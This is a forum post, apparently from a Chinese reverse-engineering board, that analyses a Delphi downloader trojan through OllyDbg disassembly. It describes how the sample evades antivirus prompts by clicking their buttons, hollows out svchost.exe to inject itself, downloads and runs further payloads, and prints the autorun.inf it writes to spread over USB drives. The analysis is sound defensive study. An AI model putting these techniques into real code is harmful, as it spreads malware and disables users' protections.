好友
阅读权限30
听众
最后登录1970-1-1
|
h_one
发表于 2013-7-16 01:45
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
简单分析报告:
基本信息
作者: jwn
样本类型:替换执行体
壳信息:无壳
可能受到威胁的系统:windows
【编写语言】: Borland Delphi 6.0 - 7.0
【使用工具】: PEID,OD,IDA
【操作平台】: D-Windows XP3
简介:
运行程序后,程序自动删除,并且开始系统没有任何反应,会在C:\Program Files\WindowsUpdate目录下下载一些程序,C盘下面新建一个auto.ini
内容为,这样当有U盘插入的时候,可以复制自己进行传播,并删除C盘下的auto,ini文件。
简单分析:
OD载入,,右键查看字符串,发现
C:\Program Files\WindowsUpdate\sys3.exe
C:\Program Files\WindowsUpdate\sys4.exe
C:\Program Files\WindowsUpdate\sys5.exe
C:\Program Files\WindowsUpdate\sys6.exe 等所以十有八九都是个下载者病毒
131458E0 |. 64:8920 mov dword ptr fs:[eax],esp
131458E3 |. 68 4C5A1413 push 5.13145A4C ; dxdown
131458E8 |. 6A FF push -0x1
131458EA |. 6A 00 push 0x0
131458EC |. E8 67E5FFFF call 5.13143E58 ; CreateMutes
跟进call 13143E58
这个call功能是,调用CreateMutes建议一个互斥对象,名为dxdown 这就是保证系统中只有一个病毒实例运行
g_Mute = CreateMutes(NULL, TRUE, "dxdown");
if(g_Mute)
{
if (ERROR_ALREADY_EXISTS == GetLastError())
{
cout<<"only instance are running!"<<endl;
return;
}
}
接下来是创建一个线程, 在反汇编窗口跟随131444B8到并下断
131444E4 /$ 51 push ecx
131444E5 |. 84C0 test al,al
131444E7 |. 74 15 je X5.131444FE
131444E9 |. 54 push esp ; /pThreadId
131444EA |. 6A 00 push 0x0 ; |CreationFlags = 0
131444EC |. 6A 00 push 0x0 ; |pThreadParm = NULL
131444EE |. 68 B8441413 push 5.131444B8 ; |ThreadFunction = 5.131444B8
131444F3 |. 6A 00 push 0x0 ; |StackSize = 0x0
131444F5 |. 6A 00 push 0x0 ; |pSecurity = NULL
131444F7 |. E8 84F9FFFF call <jmp.&KERNEL32.CreateThread> ; \CreateThread
131444FC |. 5A pop edx
131444FD |. C3 retn
此线程功能:创建一个延迟一毫秒发生的时间事件。在回调函数131443DC下断
2
进入回调函数 调用FindWindows发现窗口"AVP.Void","AVP.Product_Notification", "Q360SafeMonClass"窗口类名句柄 ,当发现就向窗口发送WM_SYSCOMMAND消息,参数wParam = 0xF060表示Close
若发现AVP.AlertDialog窗口类,枚举他的子窗口,实现对该程序的操作,再回调函数13144198下断(我机器上没按这个东东,,也就走到了,大概可以看出)
如发现"AVP.AlertDialog"的窗口,则查找起窗口内的名为"AVP.Button","允许", "允許", "跳过", "跳過"等按扭,调用SendMessage发送BM_CLICK消息来模拟用户点击.
131441EC |. E8 17E9FFFF call 5.13142B08
131441F1 |. 68 FF000000 push 0xFF ; /Count = FF (255.)
131441F6 |. 8D85 00FFFFFF lea eax,[local.64] ; |
131441FC |. 50 push eax ; |Buffer
131441FD |. 53 push ebx ; |hWnd
131441FE |. E8 45FDFFFF call <jmp.&user32.GetClassNameA> ; \GetClassNameA
13144203 |. 68 FF000000 push 0xFF ; /Count = FF (255.)
13144208 |. 8D85 00FEFFFF lea eax,[local.128] ; |
1314420E |. 50 push eax ; |Buffer
1314420F |. 53 push ebx ; |hWnd
13144210 |. E8 43FDFFFF call <jmp.&user32.GetWindowTextA> ; \GetWindowTextA
13144215 |. 8D95 FCFDFFFF lea edx,[local.129]
1314421B |. 8D85 00FFFFFF lea eax,[local.64]
13144221 |. E8 52FEFFFF call 5.13144078
13144226 |. 8B85 FCFDFFFF mov eax,[local.129]
1314422C |. BA 70431413 mov edx,5.13144370 ; AVP.Button
13144231 |. E8 C2F5FFFF call 5.131437F8
13144236 |. 0F85 F8000000 jnz 5.13144334
1314423C |. 8D95 F8FDFFFF lea edx,[local.130]
13144242 |. 8D85 00FEFFFF lea eax,[local.128]
13144248 |. E8 2BFEFFFF call 5.13144078
1314424D |. 8B85 F8FDFFFF mov eax,[local.130]
13144253 |. BA 84431413 mov edx,5.13144384 ; 允许
13144258 |. E8 9BF5FFFF call 5.131437F8
1314425D |. 0F84 B3000000 je 5.13144316
13144263 |. 8D95 F4FDFFFF lea edx,[local.131]
13144269 |. 8D85 00FEFFFF lea eax,[local.128]
1314426F |. E8 04FEFFFF call 5.13144078
13144274 |. 8B85 F4FDFFFF mov eax,[local.131]
1314427A |. BA 94431413 mov edx,5.13144394 ; 跳过
1314427F |. E8 74F5FFFF call 5.131437F8
13144284 |. 0F84 8C000000 je 5.13144316
1314428A |. 8D95 F0FDFFFF lea edx,[local.132]
13144290 |. 8D85 00FEFFFF lea eax,[local.128]
13144296 |. E8 DDFDFFFF call 5.13144078
1314429B |. 8B85 F0FDFFFF mov eax,[local.132]
131442A1 |. BA A4431413 mov edx,5.131443A4 ; 允许
131442A6 |. E8 4DF5FFFF call 5.131437F8
131442AB |. 74 69 je X5.13144316
131442AD |. 8D95 ECFDFFFF lea edx,[local.133]
131442B3 |. 8D85 00FEFFFF lea eax,[local.128]
131442B9 |. E8 BAFDFFFF call 5.13144078
131442BE |. 8B85 ECFDFFFF mov eax,[local.133]
131442C4 |. BA B4431413 mov edx,5.131443B4 ; 跳过
131442C9 |. E8 2AF5FFFF call 5.131437F8
131442CE |. 74 46 je X5.13144316
131442D0 |. 8D95 E8FDFFFF lea edx,[local.134]
131442D6 |. 8D85 00FEFFFF lea eax,[local.128]
131442DC |. E8 97FDFFFF call 5.13144078
131442E1 |. 8B85 E8FDFFFF mov eax,[local.134]
131442E7 |. BA C4431413 mov edx,5.131443C4
131442EC |. E8 07F5FFFF call 5.131437F8
131442F1 |. 74 23 je X5.13144316
131442F3 |. 8D95 E4FDFFFF lea edx,[local.135]
131442F9 |. 8D85 00FEFFFF lea eax,[local.128]
131442FF |. E8 74FDFFFF call 5.13144078
13144304 |. 8B85 E4FDFFFF mov eax,[local.135]
1314430A |. BA D4431413 mov edx,5.131443D4
1314430F |. E8 E4F4FFFF call 5.131437F8
13144314 |. 75 1E jnz X5.13144334
13144316 |> 6A 00 push 0x0 ; /lParam = 0x0
13144318 |. 6A 00 push 0x0 ; |wParam = 0x0
1314431A |. 68 F5000000 push 0xF5 ; |Message = BM_CLICK
1314431F |. 53 push ebx ; |hWnd
13144320 |. E8 43FCFFFF call <jmp.&user32.SendMessageA> ; \SendMessageA
13144325 |. 6A 00 push 0x0 ; /lParam = 0x0
13144327 |. 6A 00 push 0x0 ; |wParam = 0x0
13144329 |. 68 F5000000 push 0xF5 ; |Message = BM_CLICK
1314432E |. 53 push ebx ; |hWnd
1314432F |. E8 34FCFFFF call <jmp.&user32.SendMessageA> ; \SendMessageA
13144334 |> 83CB FF or ebx,0xFFFFFFFF
调用CreateProcess 创建进程c:\windows\system32\svchost.exe 注意 传递参数CREATE_SUSPENDED 启动后立即挂起
解析自身,得到自身装载大小SizeofImage,调用VirtualAllocEx 在svchost.exe进程空间(地址为病毒加载基址)开辟SizeOfImage大小空间,
调用WriteProcessMemorys把病毒自身写入,调用GetThreadContext得到线程上下文(调用这个函数之前要设置pContext.contextflag这个字段表示要得到context的哪些信息),+84指向eip,调用SetThreadContext函数设置新的eip=13144E88, 最后调用ResumeThread函数唤醒线程,试svchost.exe进程空间中的病毒代码运行。
创建的病毒进程c:\windows\system32\svchost.exe在f8到ResumeThread函数后,病毒运行完自身功能就会推出并删除自身,所以在调用这个函数之前,找到该进程载入OD,或附加该进程。(我一直没有成功,求大家指教。我就静态看的了)转到13144E88地址
该过程的功能大概就是调用“URLDownloadToFileA”从指定的URL,上下载病毒程序,到指定位置.之后调用ShellExecuteA函数执行下载的病毒程序
文件的指定存储地址名
"C:\Program Files\WindowsUpdate\sys.exe"
"C:\Program Files\WindowsUpdate\sys2.exe"
"C:\Program Files\WindowsUpdate\sys3.exe"
"C:\Program Files\WindowsUpdate\sys4.exe"
"C:\Program Files\WindowsUpdate\sys5.exe"
"C:\Program Files\WindowsUpdate\sys6.exe"
"C:\Program Files\WindowsUpdate\sys7.exe"
"C:\Program Files\WindowsUpdate\sys8.exe"
"C:\Program Files\WindowsUpdate\sys9.exe"
"C:\Program Files\WindowsUpdate\sys10.exe"
病毒在C盘目录下创建auto.inf文件,(点击磁盘后会自动运行指定程序,读光盘就是这个原理吧)
在文件中写入
[AutoRun]
open=system.exe
shell\open=打开(&O)
shell\open\Command=system.exe
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=system.exe
13144710 |. 8B45 EC mov eax,[local.5]
13144713 |. E8 DCF1FFFF call 5.131438F4
13144718 |. 8D45 F8 lea eax,[local.2]
1314471B |. B9 7C491413 mov ecx,5.1314497C ; \auto.inf
13144720 |. 8B55 EC mov edx,[local.5]
13144723 |. E8 5CF0FFFF call 5.13143784 ; len
13144728 |. 6A 00 push 0x0
1314472A |. 8B45 F8 mov eax,[local.2] ; C:\auto.inf
1314472D |. E8 6AF1FFFF call 5.1314389C
13144732 |. 50 push eax ; |FileName
13144733 |. E8 D0F7FFFF call <jmp.&KERNEL32.SetFileAttributesA> ; \SetFileAttributesA
13144738 |. 8B55 F8 mov edx,[local.2]
1314473B |. 8D85 20FEFFFF lea eax,[local.120]
将数据写入缓冲区 调用writeFile将数据写入auto.inf文件 (点击c就会自动运行system.exe程序)
通过遍历磁盘(从C盘开始)通过调用GetDriveTypeA函数得到磁盘类型,cmp eax,0x2比较磁盘类型,0x2是无移动磁盘的宏,若找到可移动磁盘
病毒文件命名为system.exe复制到该磁盘根目录下,并将"C:\auto.inf"复制到该磁盘根目录下命名为Autorun.inf。实现病毒通过可移动存储设备的传播功能
实现U盘感染后,将c盘目录下的auto.inf文件删除,,,,
最后病毒使用CMD命令删除自身
晕,,,死就这样吧。
|
-
免费评分
-
参与人数 2 | 威望 +3 |
热心值 +1 |
收起
理由
|
willJ
| + 1 |
|
感谢发布原创作品,[吾爱破解论坛]因你更精. |
是昔流芳
| + 2 |
+ 1 |
欢迎分析讨论交流,[吾爱破解论坛]有你更精. |
查看全部评分
|